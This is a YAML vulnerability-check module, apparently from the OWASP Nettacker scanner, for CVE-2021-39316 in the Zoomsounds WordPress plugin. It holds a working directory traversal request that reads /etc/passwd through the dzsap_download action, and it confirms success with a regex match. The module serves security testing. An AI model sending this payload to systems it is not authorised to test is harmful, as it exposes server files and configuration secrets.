info:
  name: wp_plugin_cve_2021_39316_vuln
  author: OWASP Nettacker Team
  severity: 7
  description: The Zoomsounds plugin <= 6.45 for WordPress allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.
  reference: 
    - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316
  profiles:
    - vuln
    - vulnerability
    - http
    - high_severity
    - cve2021
    - cve
    - wordpress
    - lfi
    - wp_plugin

payloads:
  - library: http
    steps:
      - method: get
        timeout: 3
        headers:
          User-Agent: "{user_agent}"
        allow_redirects: false
        ssl: false
        url:
          nettacker_fuzzer:
            input_format: "{{schema}}://{target}:{{ports}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd"
            prefix: ""
            suffix: ""
            interceptors:
            data:
              schema:
                - "http"
                - "https"
              ports:
                - 80
                - 443
        response:
          condition_type: and
          conditions:
            status_code:
              regex: '200'
              reverse: false
            content:
              regex: "root:(\\S+):"
              reverse: false
